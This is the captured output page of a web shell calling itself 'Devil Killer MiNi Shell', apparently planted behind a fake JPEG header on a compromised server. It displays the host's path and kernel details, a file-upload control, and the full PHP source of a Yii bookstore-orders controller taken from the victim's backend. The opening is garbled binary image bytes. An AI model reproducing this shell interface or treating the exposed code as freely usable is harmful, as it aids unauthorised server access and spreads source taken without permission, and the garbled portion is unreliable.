JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/backend/controllers/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/backend/controllers/BookstoreordersController.php

<?php

namespace backend\controllers;

use Yii;
use common\models\BookstoreOrders;
use common\models\BookstoreOrdersItems;
use common\models\Users;
use common\models\Companies;
use common\models\Books;
use common\models\types\BookstoreOrderStatus;
use common\models\types\BookType;
use backend\models\BookstoreOrdersSearch;
use backend\models\CompaniesSearch;
use backend\models\BooksSearch;
use backend\models\UsersSearch;
use yii\web\Controller;
use yii\web\NotFoundHttpException;
use yii\web\ForbiddenHttpException;
use yii\filters\VerbFilter;
use yii\filters\AccessControl;
use yii\helpers\ArrayHelper;

/**
 * BookstoreordersController implements the CRUD actions for BookstoreOrders model.
 */
class BookstoreordersController extends Controller
{
    use \backend\components\traits\ControllerFunctions;

    /**
     * @inheritdoc
     */
    public function behaviors()
    {
        $behaviors = parent::behaviors();
        $behaviors['access'] = [
            'class' => AccessControl::className(),
            'only' => ['get-pickup-points-locations', 'select-pickup-point'],
            'rules' => [
                [
                    'allow' => true,
                    'actions' => ['get-pickup-points-locations', 'select-pickup-point'],
                    'roles' => ['@'],
                ],
            ],
        ];
        return $behaviors;
    }
    
    /**
     * @inheritdoc
     */
    public function actions()
    {
        return [
            'get-pickup-points-locations' => [
                'class' => '\common\components\controllers\actions\GetPickupPointsLocationsAction'
            ],
            'select-pickup-point' => [
                'class' => '\common\components\controllers\actions\SelectPickupPointAction',
                'urlForGettingLocations' => \yii\helpers\Url::to(['bookstoreorders/get-pickup-points-locations'])
            ]
        ];
    }
    
    /**
     * Lists all BookstoreOrders models.
     * @return mixed
     */
    public function actionIndexAll()
    {  
//        $result = Yii::$app->upsLocator->getPickupPoints(
//            [
//                'lat' => '53.142202', 
//                'lng' => '18.025042',
////                'address' => '11 Listopada 10',
////                'locality' => 'Bydgoszcz',
////                'region' => 'kujawsko-pomorskie',
////                'postcode' => '85-643',
//                'country' => 'PL'
//            ],
//            100,
//            15
//        );
//        var_dump($result);
//        if(!$result) {
//            var_dump(Yii::$app->upsLocator->getError());
//        }
//        
//        exit;
        
        if(!Yii::$app->user->can('indexBookstoreOrders')) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        } 
        
        Yii::$app->params['activeMenuItem'] = 'bookstore-orders-all';
        
        $searchModel = new BookstoreOrdersSearch();
        $dataProvider = $searchModel->search(Yii::$app->request->queryParams);

        return $this->render('index_all', [
            'searchModel' => $searchModel,
            'dataProvider' => $dataProvider,
        ]);
    }
    
    /**
     * Lists all BookstoreOrders models.
     * @return mixed
     */
    public function actionIndexPrivate()
    {
        $queryParams = Yii::$app->request->queryParams;
                
        if(Yii::$app->user->can('indexOwnBookstoreOrders')) {
            $queryParams['BookstoreOrdersSearch']['id_user'] = Yii::$app->user->id;
            $queryParams['BookstoreOrdersSearch']['onlyPrivate'] = true;
            $queryParams['BookstoreOrdersSearch']['withItems'] = true;
        } else {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        Yii::$app->params['activeMenuItem'] = 'bookstore-orders-private';
        
        $searchModel = new BookstoreOrdersSearch();
        $dataProvider = $searchModel->search($queryParams);

        return $this->render('index_private', [
            'searchModel' => $searchModel,
            'dataProvider' => $dataProvider,
        ]);
    }
    
    /**
     * Lists all BookstoreOrders models.
     * @return mixed
     */
    public function actionIndexOwn()
    {
        $queryParams = Yii::$app->request->queryParams;
                
        if(Yii::$app->user->can('indexOwnBookstoreOrders')) {
            $modelManagedCompany = Yii::$app->session->get('managedCompany');
            if(!empty($modelManagedCompany) && $modelManagedCompany->id_user === Yii::$app->user->id) {
                $queryParams['BookstoreOrdersSearch']['id_company'] = $modelManagedCompany->id_company;
            } else {
                throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
            } 
        } else {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        Yii::$app->params['activeMenuItem'] = 'bookstore-orders-by-companies';
        
        $searchModel = new BookstoreOrdersSearch();
        $dataProvider = $searchModel->search($queryParams);

        return $this->render('index_company', [
            'searchModel' => $searchModel,
            'dataProvider' => $dataProvider,
        ]);
    }
    
    /**
     * Lists all BookstoreOrders models.
     * @return mixed
     */
    public function actionIndexAssigned()
    {
        $queryParams = Yii::$app->request->queryParams;
                
        if(Yii::$app->user->can('indexAssignedBookstoreOrders')) {            
            $modelManagedCompany = Yii::$app->session->get('managedCompany');
            if(!empty($modelManagedCompany) && $modelManagedCompany->id_user === Yii::$app->user->id) {
                $queryParams['BookstoreOrdersSearch']['dealer_id_company'] = $modelManagedCompany->id_company;
            } else {
                throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
            }     
        } else {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        Yii::$app->params['activeMenuItem'] = 'bookstore-orders-for-companies';
        
        $searchModel = new BookstoreOrdersSearch();
        $dataProvider = $searchModel->search($queryParams);

        return $this->render('index_assigned', [
            'searchModel' => $searchModel,
            'dataProvider' => $dataProvider,
        ]);
    }
    
    /**
     * Lists all BookstoreOrders models.
     * @param integer $id
     * @return mixed
     */
    public function actionIndex($id)
    {
        if(!Yii::$app->user->can('indexBookstoreOrders')) { 
            throw new NotFoundHttpException('The requested page does not exist.');
        }
        
        $modelCompany = \common\models\Companies::findOne($id);
        if(!$modelCompany) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
        
        $queryParams = Yii::$app->request->queryParams;
        $queryParams['BookstoreOrdersSearch']['dealer_id_company'] = $modelCompany->id_company;
        
        $searchModel = new BookstoreOrdersSearch();
        $dataProvider = $searchModel->search($queryParams);

        return $this->render('index', [
            'searchModel' => $searchModel,
            'dataProvider' => $dataProvider,
            'modelCompany' => $modelCompany
        ]);
    }

    /**
     * Displays a single BookstoreOrders model.
     * @param integer $id
     * @return mixed
     */
    public function actionView($id)
    {
        $model = $this->findModel($id);
        
        if(!\Yii::$app->user->can('viewBookstoreOrders', ['model' => $model])) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        if(empty($model->delivery_method)) {
            Yii::$app->session->addFlash('warning', Yii::t('backend', 'Nie wybrano jeszcze sposobu dostawy.'));
        }
        
        $modelManagedCompany = Yii::$app->session->get('managedCompany');
        
        if(!empty($model->id_company) && !empty($modelManagedCompany) && $model->id_company === $modelManagedCompany->id_company) {
//            $viewFileName = 'view_own';
            //@todo na razie obsługuje to ten sam plik
            $viewFileName = 'view_private';
            Yii::$app->params['activeMenuItem'] = 'bookstore-orders-by-companies';
        } elseif(!empty($modelManagedCompany) && $model->dealer_id_company === $modelManagedCompany->id_company) {
            $viewFileName = 'view_assigned';
            Yii::$app->params['activeMenuItem'] = 'bookstore-orders-for-companies';
        } elseif($model->id_user === Yii::$app->user->id) {
            $viewFileName = 'view_private';
            Yii::$app->params['activeMenuItem'] = 'bookstore-orders-private';
        } else {
            $viewFileName = 'view_all';
            Yii::$app->params['activeMenuItem'] = 'bookstore-orders-all';
        }
        
        //@todo proteza
//        $viewFileName = 'view_private';
        
        return $this->render($viewFileName, [
            'model' => $model
        ]);
    }

    /**
     * Creates a new BookstoreOrders model.
     * If creation is successful, the browser will be redirected to the 'view' page.
     * @return mixed
     */
    public function actionCreate()
    {
        if(!\Yii::$app->user->can('createBookstoreOrders')) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        Yii::$app->params['activeMenuItem'] = 'bookstore-orders-all';
        
        $model = new \common\models\BookstoreOrders(['scenario' => 'create']);
        $model->shipping_id_country = 'PL';
        $model->invoicing_id_country = 'PL';
        
        if (Yii::$app->request->isAjax && $model->load(Yii::$app->request->post())) {
            Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
            return \yii\bootstrap\ActiveForm::validate($model);
        }
        
        if(Yii::$app->request->getIsPost()) {            
            if(!$model->load(Yii::$app->request->post())) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->redirect(['create', 'id' => $model->id_order]);
            } 
            
            if(!$model->validate() ) {                
                Yii::$app->session->addFlash('error', $model->getErrors());
                return $this->render('create', ['model' => $model]);
            }
            
            $modelPortal = \common\models\Portals::findOne($model->id_portal);
            $bookstoreCommission = $modelPortal->getSettingsKey('bookstore_commission');
            if(empty($bookstoreCommission)) {
                Yii::$app->session->addFlash('warning', Yii::t('backend', 'Brak danych niezbędnych do wykonania akcji.')); 
                return $this->redirect(['index-all']);                
            }
            $model->commission_table = $bookstoreCommission;
            
            $transaction = Yii::$app->db->beginTransaction();
            
            if($model->save(false)) {                
                $transaction->commit();
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.'));                 
                return $this->redirect(['update', 'id' => $model->id_order]);
            } else {
                $transaction->rollBack();
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));    
            }
        }
        
        return $this->render('create', [
            'model' => $model
        ]);
    }

    /**
     * Updates an existing BookstoreOrders model.
     * If update is successful, the browser will be redirected to the 'view' page.
     * @param integer $id
     * @return mixed
     */
    public function actionUpdate($id)
    {
        $model = $this->findModel($id); 
        
        if(Yii::$app->user->can('updateBookstoreOrders')) {
            $model->setScenario('update');
            Yii::$app->params['activeMenuItem'] = 'bookstore-orders-all';
        } elseif(Yii::$app->user->can('updateBookstoreOrders', ['model' => $model])) {
            $model->setScenario('updateAssigned');
            Yii::$app->params['activeMenuItem'] = 'bookstore-orders-for-companies';
        } else {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        if($model->status === BookstoreOrderStatus::COMPLETED || $model->status === BookstoreOrderStatus::IN_PROGRESS) {
            Yii::$app->session->addFlash('warning', Yii::t('backend', 'Nie można wykonać żądanej akcji.')); 
            return $this->redirect(['view', 'id' => $model->id_order]);
        }

        $modelsOrderItems = $model->getItems()->indexBy('id_item')->all();
        if(!empty($modelsOrderItems)) {
            foreach($modelsOrderItems as $modelsOrderItem) {
                $modelsOrderItem->setScenario('update');
            }  
        }

        if(Yii::$app->request->getIsPost()) {
            $postItemsData = Yii::$app->request->post('BookstoreOrdersItems', []);
            $idsItems = array_map('intval', array_keys($postItemsData));
            if(!empty($postItemsData)) {
                foreach($postItemsData as $key => $value) {
                    if(!isset($modelsOrderItems[$key])) {
                        $modelsOrderItems[$key] = new BookstoreOrdersItems(['scenario' => 'create', 'id_order' => $model->id_order]);
                    }
                }
            }
        }
        
        if (Yii::$app->request->isAjax && $model->load(Yii::$app->request->post()) && (empty($idsItems) || \yii\base\Model::loadMultiple($modelsOrderItems, Yii::$app->request->post()))) {
            Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
            return array_merge(\yii\bootstrap\ActiveForm::validate($model), !empty($idsItems) ? \yii\bootstrap\ActiveForm::validateMultiple($modelsOrderItems, ['quantity']) : []);
        }
        
        if(Yii::$app->request->getIsPost()) {
            $checksumsForItems = [];
            $numberOfExistsItems = 0;
            if(!empty($modelsOrderItem)) {
                foreach($modelsOrderItems as $key => $modelOrderItem) {
                    if($modelOrderItem->isNewRecord) {
                        continue;
                    }
                    $checksumsForItems[(int)$modelOrderItem->id_item] = $modelOrderItem->generateChecksum();
                    $numberOfExistsItems++;
                }
            }
            
            if(!$model->load(Yii::$app->request->post()) || (!empty($idsItems) && !\yii\base\Model::loadMultiple($modelsOrderItems, Yii::$app->request->post()))) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->redirect(['update', 'id' => $model->id_order]);
            }            
            
            $transaction = Yii::$app->db->beginTransaction();
            if(!empty($modelsOrderItems)) {                
                foreach($modelsOrderItems as $key => $modelOrderItem) {
                    if(intval($modelOrderItem->quantity) === 0 || !in_array($modelOrderItem->id_item, $idsItems)) {
                        if($modelOrderItem->delete() === false) {
                            $transaction->rollBack();
                            Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));
                            return $this->redirect(['update', 'id' => $model->id_order]);
                        }
                        if(!$modelOrderItem->isNewRecord && isset($checksumsForItems[(int)$modelOrderItem->id_item])) {
                            unset($checksumsForItems[(int)$modelOrderItem->id_item]);
                        }
                        unset($modelsOrderItems[$key]);
                    }
                }
            }
            
            if(!$model->validate() || (!empty($modelsOrderItems) && !\yii\base\Model::validateMultiple($modelsOrderItems))) {
                $errorsFromModelsOrderItems = [];
                if(!empty($modelsOrderItems)) {
                    foreach($modelsOrderItems as $modelOrderItem) {
                        if($modelOrderItem->hasErrors()) {
                            foreach($modelOrderItem->getErrors() as $error) {
                                $errorsFromModelsOrderItems[] = $error;
                            }
                        }
                    }
                }
                Yii::$app->session->addFlash('error', ArrayHelper::merge($model->getErrors(), $errorsFromModelsOrderItems));
                return $this->render('update', ['model' => $model, 'modelsOrderItems' => $modelsOrderItems]);
            }
            
            $orClearDeliveryData = false;
            if(!empty($modelsOrderItems)) {
                foreach($modelsOrderItems as $modelOrderItem) {
                    if($modelOrderItem->isNewRecord) {
                        $orClearDeliveryData = true;
                        break;
                    } else {
                        $checksum = $modelOrderItem->generateChecksum();
                        if($checksum !== $checksumsForItems[(int)$modelOrderItem->id_item]) {
                            $orClearDeliveryData = true;
                            break;
                        }
                    }
                }
            }
            
            if(!$orClearDeliveryData && (count($modelsOrderItems) !== $numberOfExistsItems)) {
                $orClearDeliveryData = true;
            }
            
            if($orClearDeliveryData) {
                $model->delivery_method = null;
                $model->delivery_cost = null;
                $model->or_cash_on_delivery = 0;
            }
                        
            $flag = true;
            if(!empty($modelsOrderItems)) {
                $commissionAmount = 0.00;
                $commissionTableFieldsMap = [ //{typ}_{0|1 - czy prenumerata}_{0|1 - czy wersja papierowa}
                    BookType::BOOK.'_0_1' => 'book_paper', 
                    BookType::MAGAZINE.'_0_1' => 'magazine_paper', 
                    BookType::GUIDE.'_0_1' => 'guide_paper', 
                    BookType::BOOK.'_0_0' => 'book_electronic', 
                    BookType::MAGAZINE.'_0_0' => 'magazine_electronic', 
                    BookType::GUIDE.'_0_0' => 'guide_electronic', 
                    BookType::BOOK.'_1_1' => 'subscription_books_paper', 
                    BookType::MAGAZINE.'_1_1' => 'subscription_magazines_paper', 
                    BookType::GUIDE.'_1_1' => 'subscription_guides_paper', 
                    BookType::BOOK.'_1_0' => 'subscription_books_electronic', 
                    BookType::MAGAZINE.'_1_0' => 'subscription_magazines_electronic', 
                    BookType::GUIDE.'_1_0' => 'subscription_guides_electronic'
                ];
                //@todo to powinno być przeliczane w oparciu o kolumnę commission_table z tabeli bookstore_orders
//                $bookstoreCommission = $model->portal->getSettingsKey('bookstore_commission');
                $bookstoreCommission = $model->commission_table;
                
                foreach($modelsOrderItems as $modelOrderItem) {
                    if(!$modelOrderItem->save(false)) {
                        $flag = false;
                        break;
                    }                    
                    $fieldKey = $modelOrderItem->book_type.'_'.intval($modelOrderItem->or_subscription).'_'.intval($modelOrderItem->or_paper_version);
                    $commissionFactor = $bookstoreCommission[$commissionTableFieldsMap[$fieldKey]];
                    $commissionAmount += $modelOrderItem->price * $modelOrderItem->quantity * $commissionFactor;
                }
                $model->commission_amount = $commissionAmount;
            }
            
            if($flag && $model->save(false)) {                
                $transaction->commit();
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.'));                 
                return $this->redirect(['update', 'id' => $model->id_order]);
            } else {
                $transaction->rollBack();
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));    
            }
        }
        
        return $this->render('update', [
            'model' => $model,
            'modelsOrderItems' => $modelsOrderItems
        ]);
    }
    
    public function actionSelectDeliveryMethod($id)
    {
        $model = $this->findModel($id);
     
        if(!\Yii::$app->user->can('selectDeliveryMethodForBookstoreOrders', ['model' => $model])) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        if(empty($model->items)) {
            Yii::$app->session->addFlash('warning', Yii::t('backend', 'Brak danych niezbędnych do wykonania akcji.')); 
            return $this->redirect(['view', 'id' => $model->id_order]);
        }
        
        $modelManagedCompany = Yii::$app->session->get('managedCompany');
        if(!empty($model->id_company) && !empty($modelManagedCompany) && $model->id_company === $modelManagedCompany->id_company) {
            Yii::$app->params['activeMenuItem'] = 'bookstore-orders-by-companies';
        } elseif($model->dealer_id_company === $modelManagedCompany->id_company) {
            Yii::$app->params['activeMenuItem'] = 'bookstore-orders-for-companies';
        } elseif($model->id_user === Yii::$app->user->id) {
            Yii::$app->params['activeMenuItem'] = 'bookstore-orders-private';
        } else {
            Yii::$app->params['activeMenuItem'] = 'bookstore-orders-all';
        }
        
        $idsPriceLists = [];
        $orExistsAnyPaperVersion = false;        
        $quantity = 0;
        foreach($model->items as $modelItem) {
            if($modelItem->or_paper_version) {
                $orExistsAnyPaperVersion = true;
                $quantity += $modelItem->quantity;
            }
            
            if(!empty($modelItem->id_book) && !empty($modelItem->book->id_delivery_price_list)) {
                $idPriceList = $modelItem->book->id_delivery_price_list;
            } elseif(!empty($modelItem->id_subscription) && !empty($modelItem->subscription->id_delivery_price_list)) {
                $idPriceList = $modelItem->subscription->id_delivery_price_list;
            } else {
                continue;
            }
            $idsPriceLists[$idPriceList] = $idPriceList;
        }
        
        if(empty($idsPriceLists)) {
            Yii::$app->session->addFlash('warning', Yii::t('backend', 'Nie udało się pobrać żadnego cennika dostawy dla tego zamówienia. Skontaktuj się z nami celem ustalenia kosztów wysyłki.')); 
            return $this->redirect(['view', 'id' => $model->id_order]);
        }
        
        $modelsPriceListsItems = \common\models\CompaniesDeliveryPriceListsItems::find()
                ->where(['id_price_list' => array_unique(array_values($idsPriceLists))])
                ->all();
        $priceLists = [];
        foreach($modelsPriceListsItems as $modelPriceListItem) {
            $checksum = $modelPriceListItem->generateChecksum(); 
            $priceLists[$modelPriceListItem->id_price_list][$checksum] = $modelPriceListItem->toArray(); 
        }
        unset($modelsPriceListsItems);
        
        $finalPriceList = [];
        if(count($priceLists) === 1) {
            //wszystkie książki mają przypisany ten sam cennik dostawy (bądź któraś nie ma żadnego)
            $finalPriceList = reset($priceLists);
        } else {
            //książki mają różne cenniki dostawy, więc musimy wyłonić wspólne metody dostawy
            $finalPriceList = call_user_func_array('array_intersect_key', $priceLists);
        }
        
        if(empty($finalPriceList)) {
            Yii::$app->session->addFlash('warning', Yii::t('backend', 'Nie udało się pobrać żadnego cennika dostawy dla tego zamówienia. Skontaktuj się z nami celem ustalenia kosztów wysyłki.')); 
            return $this->redirect(['view', 'id' => $model->id_order]);
        }
        
        $orFitInOnePackage = false;        
        $orExistsElectronicDeliveryInPriceList = true;
        $electronicDeliveryItems = [];
        foreach($finalPriceList as $key => $item) {
            if($item['maximum_number_of_pieces'] > $quantity) {
                $orFitInOnePackage = true;
            }
            if($item['delivery_method'] === \common\models\types\DeliveryMethod::ELECTRONIC_DELIVERY) {
                $electronicDeliveryItems[$key] = $item;
            }
        }
        
        $output = [];
        
        if(!$orExistsAnyPaperVersion && !empty($electronicDeliveryItems)) {
            foreach($electronicDeliveryItems as $key => $item) {
                $output[$item['key']] = [
                    'method' => $item['delivery_method'],
                    'amount' => 1 * $item['first_piece_price'] + (($quantity-1) * $item['next_piece_price']),
                    'time' => $item['minimum_delivery_time'].' - '.$item['maximum_delivery_time'],
                    'or_cash_on_delivery' => $item['or_cash_on_delivery'],
                    'number_of_pieces' => 1
                ];
            }            
        } elseif($orFitInOnePackage) {
            foreach($finalPriceList as $key => $item) {
                if($item['maximum_number_of_pieces'] < $quantity) {
                    continue;
                }
                if($orExistsAnyPaperVersion && $item['delivery_method'] === \common\models\types\DeliveryMethod::ELECTRONIC_DELIVERY) {
                    continue;
                }
                
                $deliveryAmount = 1 * $item['first_piece_price'] + (($quantity-1) * $item['next_piece_price']);
                
                $output[$key] = [
                    'method' => $item['delivery_method'],
                    'amount' => $deliveryAmount,
                    'time' => $item['minimum_delivery_time'].' - '.$item['maximum_delivery_time'],
                    'or_cash_on_delivery' => $item['or_cash_on_delivery'],
                    'number_of_pieces' => 1
                ];
            }
        } else {
            foreach($finalPriceList as $key => $item) {
                $quantityTemp = $quantity;
                $numberOfPieces = 0;
                $deliveryAmount = 0;
                while($quantityTemp > 0) {
                    $quantityPart = $quantityTemp > $item['maximum_number_of_pieces'] ? $item['maximum_number_of_pieces'] : $quantityTemp;
                    $deliveryAmount += 1 * $item['first_piece_price'] + (($quantityPart-1) * $item['next_piece_price']);
                    $quantityTemp -= $quantityPart;
                    $numberOfPieces++;
                }
                
                $output[$key] = [
                    'method' => $item['delivery_method'],
                    'amount' => $deliveryAmount,
                    'time' => $item['minimum_delivery_time'].' - '.$item['maximum_delivery_time'],
                    'or_cash_on_delivery' => $item['or_cash_on_delivery'],
                    'number_of_pieces' => $numberOfPieces
                ];
            }
        }
        
//        var_dump($finalPriceList);
//        var_dump($output);
        
        $context = stream_context_create([
            'http' => [
                'method' => 'GET',
                'header' => "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0) \r\n"
            ]
        ]);
        
        $address = $model->shipping_street.' '.$model->shipping_building_number.', '.$model->shipping_postcode.' '.$model->shipping_locality;        
        $nominatimData = json_decode(file_get_contents('https://nominatim.openstreetmap.org/search?q='.urlencode($address).'&format=json&limit=1', false, $context), true);
        if(!empty($nominatimData[0]) && $nominatimData[0]['lat']) {
            $lat = $nominatimData[0]['lat'];
            $lng = $nominatimData[0]['lon'];
        }
        
        if(empty($lat)) {
            $pna = \common\models\GeoPna::find()->select(['lat', 'lng'])->where(['postcode' => $model->shipping_postcode])->asArray()->one();
            if($pna !== null) {
                $lat = $pna['lat'];
                $lng = $pna['lng'];
            }
        }
        
        if(empty($lat)) {
            $lat = '52.0693234';
            $lng = '19.4803112';
        }
        
        $modelForm = new \common\models\BookstoreOrderDeliveryForm(['deliveryOptions' => $output]);
        $modelForm->setModelOrder($model);
        
        $outputParams = [
            'deliveryOptions' => $output,
            'modelOrder' => $model,
            'modelForm' => $modelForm,
            'lat' => $lat,
            'lng' => $lng,
            'address' => $model->shipping_street.' '.$model->shipping_building_number.', '.$model->shipping_locality
        ];
        
        if(Yii::$app->request->getIsPost()) {
            if(!$modelForm->load(Yii::$app->request->post())) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->redirect(['select-delivery-method', 'id' => $model->id_order]);
            } 
            
            $transaction = Yii::$app->db->beginTransaction();   
            
            $result = $modelForm->save();
            
            if(is_array($result)) {
                Yii::$app->session->addFlash('error', $result);
                return $this->redirect(['select-delivery-method', 'id' => $model->id_order]);
            } 
            
            if($result === true) {     
//                $transaction->rollBack();
                $transaction->commit();
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.'));                 
                return $this->redirect(['view', 'id' => $model->id_order]);
            } else {
                $transaction->rollBack();
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));    
                return $this->redirect(['select-delivery-method', 'id' => $model->id_order]);
            }
        }
        
//        exit;
        
        return $this->render('select_delivery_method', $outputParams);
        
        
    }
    
    public function actionPay()
    {
        $asCompany = (int)Yii::$app->request->get('as_company', '0');        
        $modelUser = Yii::$app->user->identity;
        
        $whereParts = [];
        if($asCompany) {
            $modelCompany = Yii::$app->session->get('managedCompany');
            if(empty($modelCompany)) {
                Yii::$app->session->addFlash('warning', Yii::t('backend', 'Brak danych niezbędnych do wykonania akcji.')); 
                return $this->redirect(['index-private']);
            }
            $whereParts = ['id_company' => $modelCompany->id_company];
        } else {
            $whereParts = ['id_user' => $modelUser->id_user];
        }
        
        if(!empty($modelCompany)) {
            if (!Yii::$app->user->can('modifyCompaniesData', ['model' => $modelCompany])) {
                throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
            }
        } 
        
        $modelsOrders = BookstoreOrders::find()
                ->with(['dealerCompany'])
